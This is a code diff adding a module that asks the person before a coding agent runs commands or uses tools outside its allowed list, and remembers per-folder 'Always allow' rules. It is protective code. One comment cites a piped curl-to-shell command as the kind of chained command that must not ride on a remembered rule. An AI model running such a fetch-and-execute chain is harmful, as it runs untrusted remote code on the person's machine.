viewable-one 0.0.0-stage → 0.12.2

package/lib/permissionAsk.mjs

@@ -0,0 +1,418 @@
+import { writeRisk, riskReason } from "./writePolicy.mjs";
+import { appInputsText } from "./codexToolInputs.mjs";
+// ASK IN THE IDEA (issue #478, rulings #470 #468 #417 #418).
+//
+// A coding agent on the person's computer works from a list of things it may
+// do without asking. When it needs something outside that list it used to be
+// refused silently and carry on worse off. Now it asks: one question lands in
+// the idea ("Can I run pip install requests in my-app?") and the run waits for
+// the answer.
+//
+// This file owns everything about that exchange that is not a pipe:
+//   - the words of the question and its three options;
+//   - what "Always allow in <folder>" remembers, and where;
+//   - waiting for the answer with the board's own `check_answer`;
+//   - turning the answer into allow or deny.
+// child.mjs (Claude, `control_request`) and codex.mjs (Codex approval
+// requests) each call the asker this builds; neither knows board vocabulary.
+//
+// WHY THE ASKER POLLS check_answer ITSELF and does not wait for the answer
+// poll to deliver it as a message: the answer poll hands answers to the child
+// as a USER message, and a permission answer must resolve the pending
+// permission request instead, never be typed into the conversation. So the
+// asker claims its question on the poll (`claim`) and reads the answer itself.
+//
+// NO ANSWER MEANS KEEP WAITING. The run's wall clock and Stop are the bounds;
+// the stall watchdog does not count time spent waiting for a person
+// (child.mjs `pendingPermissions`, codex.mjs `waitingOnPerson`).
+//
+// A plan draft never reaches here: drafts are read-only and never given the
+// asker (agents.mjs commandFor, runner.mjs makeRunOpts).
+
+import { createHash } from "node:crypto";
+import { mkdir, readFile } from "node:fs/promises";
+import { basename, join, posix, win32 } from "node:path";
+import { writeFileAtomic } from "./atomic.mjs";
+import { askUserOnBoard } from "./boardside.mjs";
+import { callTool as hostedCallTool } from "./hosted.mjs";
+import { viewableHome } from "./registry.mjs";
+
+/** The three buttons, in this order. "Allow" is the recommended one. */
+export const ALLOW = "Allow";
+export const NOT_THIS = "Not this";
+export const alwaysLabel = (folderName) => `Always allow in ${folderName}`;
+
+const digest = (value) => createHash("sha256").update(value).digest("hex");
+
+/** One line, single spaces, cut at `max` characters. Report any lost text. */
+const oneLine = (text, max, onChanged) => {
+  const exact = String(text ?? "");
+  const flat = exact.replace(/\s+/g, " ").trim();
+  const shown = flat.length > max ? `${flat.slice(0, max - 1).trimEnd()}…` : flat;
+  if (shown !== exact) onChanged?.();
+  return shown;
+};
+
+/** Whitespace or characters that the one-line question cannot show exactly. */
+const needsFullDisplay = (text) => /^\s|\s$|[\n\t]| {2}|[^\x20-\x7E]/u.test(text);
+
+/** Visible command text: every CR and other hidden character is an escape.
+ * Full details escape boundary spaces; paths and scopes also escape LF/tab
+ * and literal backslashes (before introducing any generated escapes). */
+const commandDisplay = (command, { escapeBoundarySpaces = false, escapeLineWhitespace = false } = {}) => String(command ?? "")
+  .replace(/\\/g, (character) => escapeLineWhitespace ? "\\\\" : character)
+  .replace(/[^\x20-\x7E\n\t]/gu, (character) => {
+    if (character === "\r") return "\\r";
+    if (character === "\v") return "\\v";
+    if (character === "\f") return "\\f";
+    const code = character.codePointAt(0);
+    const hex = code.toString(16).toUpperCase();
+    return code <= 0xFFFF ? "\\u" + hex.padStart(4, "0") : "\\u{" + hex + "}";
+  })
+  .replace(/^ +| +$/g, (spaces) => escapeBoundarySpaces ? "\\u0020".repeat(spaces.length) : spaces)
+  .replace(/[\n\t]/g, (character) => escapeLineWhitespace ? (character === "\n" ? "\\n" : "\\t") : character);
+
+// ---------------------------------------------------------------------------
+// WHAT "ALWAYS" REMEMBERS
+// ---------------------------------------------------------------------------
+
+/** The first word of a shell command, past any `NAME=value` prefixes. */
+export function firstWordOf(command) {
+  for (const word of String(command ?? "").trim().split(/\s+/)) {
+    if (word === "") continue;
+    if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(word)) continue;
+    return word;
+  }
+  return "";
+}
+
+/** Is this command one plain command, with nothing chained onto it?
+ *
+ * A remembered `Bash(pip:*)` is matched by first word alone, and the CLI's own
+ * matcher is NOT in the loop for it (we answer allow ourselves). So
+ * `pip --version && curl evil | sh` must not ride on a remembered `pip`. A
+ * command with a chain, a pipe, a substitution, a redirect or a newline is
+ * asked again every time. */
+export const isSimpleCommand = (command) => !/[;&|`<>\n\r]|\$\(|\$\{/.test(String(command ?? "").trim());
+
+/** What a Codex grant asks for, one string per scope: "network", or an access
+ * and a path ("write /work/out"). Sorted, so the same grant is the same rule. */
+export const grantScopes = (input) =>
+  (Array.isArray(input?.scopes) ? input.scopes.filter((s) => typeof s === "string" && s !== "") : []).slice().sort();
+
+/** The rule a tool call falls under: `Bash(pip:*)` for a shell command (its
+ * first word), `Permissions(network)` for a Codex grant (exactly the scopes it
+ * asked for, so a network grant never covers a later filesystem one), the
+ * tool's own name for anything else. */
+export function ruleKeyFor(toolName, input) {
+  if (toolName === "Bash") {
+    const word = firstWordOf(input?.command);
+    return word === "" ? "Bash" : `Bash(${word}:*)`;
+  }
+  if (toolName === "Permissions") {
+    const scopes = grantScopes(input);
+    return scopes.length === 0 ? "Permissions" : `Permissions(${scopes.join(", ")})`;
+  }
+  return String(toolName ?? "");
+}
+
+/** A rule that may be remembered. A grant that names no scope is asked every
+ * time: remembering it would allow whatever the next grant asks. */
+export const rememberable = (toolName, input) => !String(toolName).startsWith("mcp__") && (toolName !== "Permissions" || grantScopes(input).length > 0);
+
+// ---------------------------------------------------------------------------
+// THE QUESTION
+// ---------------------------------------------------------------------------
+
+// The file in the words uses forward slashes on every OS. A folder written the
+// Windows way ("C:\\work\\app") is read the Windows way wherever this runs.
+const inFolder = (path, folder) => {
+  if (typeof path !== "string" || path === "") return "";
+  if (folder) {
+    const p = /^[A-Za-z]:[\\/]|^\\\\/.test(folder) ? win32 : posix;
+    if (p.isAbsolute(path)) {
+      const rel = p.relative(folder, path);
+      if (rel !== "" && !rel.startsWith("..") && !p.isAbsolute(rel)) return rel.split(p.sep).join("/");
+    }
+  }
+  return path;
+};
+
+const hostOf = (url) => {
+  try { return new URL(url).host || String(url); } catch { return String(url ?? ""); }
+};
+
+/** What the agent wants to do, as a verb phrase a person can read. */
+export function actionWords(toolName, input = {}, { folder, folderName, onTargetChanged } = {}) {
+  switch (toolName) {
+    case "Bash": {
+      const command = oneLine(commandDisplay(input.command), 90);
+      return "run " + (command || "a command with no text") + " in " + folderName;
+    }
+    case "WebSearch": return "search the web";
+    case "WebFetch": return `open ${oneLine(hostOf(input.url), 60)}`;
+    case "Write": return `write ${oneLine(inFolder(input.file_path, folder), 80, onTargetChanged)}`;
+    case "Edit":
+    case "MultiEdit":
+    case "NotebookEdit": return `change ${oneLine(inFolder(input.file_path ?? input.notebook_path, folder), 80, onTargetChanged)}`;
+    case "Read": return `read ${oneLine(inFolder(input.file_path, folder), 80, onTargetChanged)}`;
+    case "Glob":
+    case "Grep": return "look through files outside this folder";
+    case "Permissions": {
+      const parts = grantScopes(input).map((scope) => {
+        if (scope === "network") return "use the network";
+        const [access, ...path] = scope.split(" ");
+        const where = oneLine(inFolder(path.join(" "), folder), 60, onTargetChanged);
+        return access === "write" ? `write to ${where}` : access === "read" ? `read ${where}` : `${access} ${where}`;
+      });
+      return parts.length === 0 ? "go past what it may do without asking" : oneLine(parts.join(" and "), 120, onTargetChanged);
+    }
+    default: {
+      const mcp = /^mcp__(.+?)__(.+)$/.exec(String(toolName ?? ""));
+      if (mcp) return `use ${mcp[2].replaceAll("_", " ")} from ${mcp[1]}`;
+      return `use the ${toolName} tool`;
+    }
+  }
+}
+
+/** One sentence on what the agent wants it for. Omit a missing purpose or
+ * a description that only repeats the command already in the question. */
+function purposeOf(toolName, input = {}) {
+  const described = typeof input.description === "string" ? oneLine(input.description, 200) : "";
+  if (toolName === "Bash" && input.command) {
+    const command = oneLine(input.command, 200);
+    if (described === command || described === `${command}.`) return "";
+  }
+  if (described !== "") return /[.!?]$/.test(described) ? described : `${described}.`;
+  if (toolName === "WebSearch" && input.query) return `It wants to look up "${oneLine(input.query, 120)}".`;
+  if (toolName === "WebFetch" && input.url) return `It wants to read ${oneLine(input.url, 120)}.`;
+  return "";
+}
+
+/** The whole question, ready for ask_user.
+ *
+ *   question: "Can I run pip install requests in my-app?"
+ *   options:  Allow | Not this | Always allow in my-app
+ *   why:      what it is for, or blank when there is no purpose to add;
+ *             includes full commands, scopes or paths when cut or hidden
+ */
+export function questionFor({ toolName, input, folder }) {
+  const mcp = /^mcp__(.+?)__(.+)$/.exec(String(toolName));
+  if (mcp) {
+    const [, provider, name] = mcp;
+    const risk = writeRisk(provider.toLowerCase(), name, input) ?? "open-ended";
+    return { question: `Use ${name.replaceAll("_", " ")} in ${provider}?`,
+      why: `On your computer, ${provider}\n${riskReason(risk)}\n${appInputsText(provider, input, name)}`,
+      options: [ALLOW, NOT_THIS], recommendation: { answer: ALLOW, why: "Allow this request once." } };
+  }
+  const folderName = basename(folder) || folder;
+  let targetChanged = false;
+  const action = actionWords(toolName, input, { folder, folderName, onTargetChanged: () => { targetChanged = true; } });
+  let why = purposeOf(toolName, input);
+  if (toolName === "Bash") {
+    // Preserve literal spacing and show hidden characters explicitly.
+    // Hosted ask_user has no upper why limit, so display the whole command.
+    const rawCommand = String(input?.command ?? "");
+    const command = commandDisplay(rawCommand, { escapeBoundarySpaces: true });
+    if (command.length > 90 || needsFullDisplay(rawCommand)) {
+      const fullCommand = `Command: ${command}`;
+      why = why ? `${why}\n${fullCommand}` : fullCommand;
+    }
+  } else if (toolName === "Permissions") {
+    const scopes = grantScopes(input);
+    // Compare at the formatter, after relativization and at both length limits.
+    if (targetChanged || scopes.some(needsFullDisplay)) {
+      const fullScopes = scopes.map((scope) => `Scope: ${commandDisplay(scope, { escapeBoundarySpaces: true, escapeLineWhitespace: true })}`).join("\n");
+      why = why ? `${why}\n${fullScopes}` : fullScopes;
+    }
+  } else if (["Write", "Edit", "MultiEdit", "NotebookEdit", "Read"].includes(toolName)) {
+    const path = String(input?.file_path ?? input?.notebook_path ?? "");
+    if (targetChanged || needsFullDisplay(path)) {
+      const fullPath = `Path: ${commandDisplay(path, { escapeBoundarySpaces: true, escapeLineWhitespace: true })}`;
+      why = why ? `${why}\n${fullPath}` : fullPath;
+    }
+  }
+  return {
+    question: `Can I ${action}?`,
+    why,
+    options: [ALLOW, NOT_THIS, alwaysLabel(folderName)],
+    recommendation: { answer: ALLOW, why: "It lets this run carry on with what you asked." },
+  };
+}
+
+// ---------------------------------------------------------------------------
+// MEMORY: one small file per folder
+// ---------------------------------------------------------------------------
+
+/** `<glytch home>/permissions/<digest of the folder path>.json` */
+export const memoryPath = (env, folder) => join(viewableHome(env), "permissions", `${digest(String(folder))}.json`);
+
+/** The rule keys remembered for this folder. A missing or unreadable file is
+ * "nothing remembered", never an error: the worst case is one more question. */
+export async function readRules(env, folder) {
+  try {
+    const data = JSON.parse(await readFile(memoryPath(env, folder), "utf8"));
+    return Array.isArray(data?.rules) ? data.rules.filter((r) => typeof r === "string") : [];
+  } catch {
+    return [];
+  }
+}
+
+/** Remember a rule for this folder. Atomic, so a run reading it at the same
+ * moment sees the old list or the new one, never half a file. */
+export async function rememberRule(env, folder, key) {
+  const rules = await readRules(env, folder);
+  if (rules.includes(key)) return rules;
+  const next = [...rules, key];
+  const path = memoryPath(env, folder);
+  await mkdir(join(viewableHome(env), "permissions"), { recursive: true, mode: 0o700 });
+  await writeFileAtomic(path, `${JSON.stringify({ folder: String(folder), rules: next }, null, 2)}\n`);
+  return next;
+}
+
+/** Does a remembered rule cover this call? A shell command only when it is a
+ * single plain command (see isSimpleCommand). */
+export function ruleCovers(rules, toolName, input) {
+  if (!rememberable(toolName, input)) return false;
+  const key = ruleKeyFor(toolName, input);
+  if (!rules.includes(key)) return false;
+  return toolName !== "Bash" || isSimpleCommand(input?.command);
+}
+
+// ---------------------------------------------------------------------------
+// THE ANSWER
+// ---------------------------------------------------------------------------
+
+/** What check_answer said, as one of: {state:"open"}, {state:"answered",
+ * decision}, {state:"gone"} (dismissed, or no such question). */
+export function readAnswer(text) {
+  const t = String(text ?? "");
+  const answered = /^Answered\. The user's decision: (.*)$/m.exec(t);
+  if (answered) return { state: "answered", decision: answered[1].trim() };
+  if (/^Answered\./m.test(t)) return { state: "answered", decision: "" };
+  if (/dismissed|^No such question/m.test(t)) return { state: "gone" };
+  return { state: "open" };
+}
+
+/** The message an agent reads when the answer is no. It must make the
+ * agent carry on rather than retry or stop. */
+const NO_MESSAGE = "The person said no to this. Carry on without it, and do not ask for it again.";
+
+/** An answer, as the verdict the engine needs: {behavior, remember, message}. */
+export function verdictFor(answer, folderName) {
+  if (answer.state === "gone") {
+    return { behavior: "deny", remember: false, message: "The person dismissed the question without answering. Carry on without it, and do not ask for it again." };
+  }
+  if (answer.decision === ALLOW) return { behavior: "allow", remember: false };
+  if (answer.decision === alwaysLabel(folderName)) return { behavior: "allow", remember: true };
+  if (answer.decision === NOT_THIS || answer.decision === "") return { behavior: "deny", remember: false, message: NO_MESSAGE };
+  // Their own words: not a button. That is a no, with the words passed along,
+  // because "use yarn instead" is guidance the agent should read.
+  return { behavior: "deny", remember: false, message: `The person said no to this, and wrote: ${oneLine(answer.decision, 400)}. Carry on without it.` };
+}
+
+/** The deny an agent reads when the question could not be filed. The board's
+ * own refusal ("The run's idea is missing or deleted...") is the reason, so it
+ * reaches the run's transcript instead of a vague "could not be asked" (#592). */
+export function notAskedMessage(filed) {
+  const reason = filed.ok ? "" : oneLine(filed.detail, 300);
+  return reason === ""
+    ? "The person could not be asked just now. Carry on without it."
+    : `The person could not be asked: ${reason} Carry on without it.`;
+}
+
+const sleepFor = (ms, signal) =>
+  new Promise((resolve) => {
+    if (signal?.aborted) { resolve(); return; }
+    const timer = setTimeout(done, ms);
+    function done() { clearTimeout(timer); signal?.removeEventListener("abort", done); resolve(); }
+    signal?.addEventListener("abort", done, { once: true });
+  });
+
+/** Build the asker for one run.
+ *
+ * `ask({ toolName, input, signal })` resolves to `{behavior: "allow"}` or
+ * `{behavior: "deny", message}`. It resolves `null` when `signal` aborts first
+ * (the run ended or the CLI cancelled the request): nothing to answer then.
+ * An exact protocol `question` skips permission memory and resolves to
+ * `{behavior: "answer", answer}` or `{behavior: "cancel"}`. The protocol
+ * adapter validates the literal answer; free text never becomes a grant.
+ *
+ *   folder      the run's linked folder (memory is per folder; its basename is
+ *               the "<folder>" in the options)
+ *   session     the run's board session ({key}), so the question lands on its idea
+ *   fromId      the idea the run belongs to
+ *   poll        the run's answer poll, so the permission question's answer is
+ *               not also typed into the conversation (`claim`)
+ */
+export function createPermissionAsker({
+  folder, session, fromId, env, callTool = hostedCallTool, poll, log = () => {}, pollMs = 2000,
+}) {
+  const folderName = basename(folder) || folder;
+  const ask = async ({ toolName, input = {}, signal, question }) => {
+    if (signal?.aborted) return null;
+    // Protocol questions are exact, per-call choices. They never consult or
+    // write the folder's remembered permission rules.
+    const remembered = question ? [] : await readRules(env, folder);
+    if (signal?.aborted) return null;
+    if (!question && ruleCovers(remembered, toolName, input)) {
+      log(`permission: ${ruleKeyFor(toolName, input)} is allowed in ${folderName} (remembered), no question filed`);
+      return { behavior: "allow" };
+    }
+    const q = question ?? questionFor({ toolName, input, folder });
+    const filed = await askUserOnBoard(
+      session, q.question,
+      { why: q.why, fromId, options: q.options, recommendation: q.recommendation, purpose: "permission" },
+      { callTool, env },
+    );
+    if (!filed.ok || !filed.questionId) {
+      log(`permission: could not file the question (${filed.detail ?? "no id"}); denying`);
+      return { behavior: "deny", message: notAskedMessage(filed) };
+    }
+    log(`permission: asked "${q.question}" (${filed.questionId})`);
+    // The normal answer poll must not type this answer into the conversation.
+    poll?.claim?.(filed.questionId);
+    if (signal?.aborted) return null;
+    let failures = 0;
+    for (;;) {
+      if (signal?.aborted) return null;
+      const started = Date.now();
+      let outcome;
+      try {
+        // Match board-mcp's 50s maximum. The transport must outlive the held
+        // call; Stop and the run's wall clock still cancel it via signal.
+        outcome = await callTool("check_answer", { question_id: filed.questionId, wait_s: 50 }, {
+          sessionKey: session.key, env, timeoutMs: 60_000, signal,
+        });
+      } catch (error) {
+        outcome = { isError: true, text: error instanceof Error ? error.message : String(error) };
+      }
+      if (signal?.aborted) return null;
+      if (outcome.isError) {
+        // A blip is not an answer. Keep waiting; say so once.
+        if (failures++ === 0) log(`permission: check_answer failed (${oneLine(outcome.text, 120)}); still waiting`);
+      } else {
+        failures = 0;
+        const answer = readAnswer(outcome.text);
+        if (answer.state !== "open") {
+          if (question) return answer.state === "gone"
+            ? { behavior: "cancel" }
+            : { behavior: "answer", answer: answer.decision };
+          const verdict = verdictFor(answer, folderName);
+          if (verdict.remember && !rememberable(toolName, input)) log("permission: this grant names no scope, so it is allowed once and not remembered");
+          else if (verdict.remember) {
+            try { await rememberRule(env, folder, ruleKeyFor(toolName, input)); }
+            catch (error) { log(`permission: could not save the rule (${error?.message ?? error}); allowing this once`); }
+          }
+          log(`permission: ${verdict.behavior} for ${ruleKeyFor(toolName, input)}${verdict.remember ? " and remembered for " + folderName : ""}`);
+          return verdict.behavior === "allow" ? { behavior: "allow" } : { behavior: "deny", message: verdict.message };
+        }
+      }
+      // Renew a completed wait immediately. Back off after errors or an
+      // older endpoint that returns at once, rather than spinning.
+      const delay = outcome.isError ? pollMs : Math.max(0, pollMs - (Date.now() - started));
+      if (delay > 0) await sleepFor(delay, signal);
+    }
+  };
+  return ask;
+}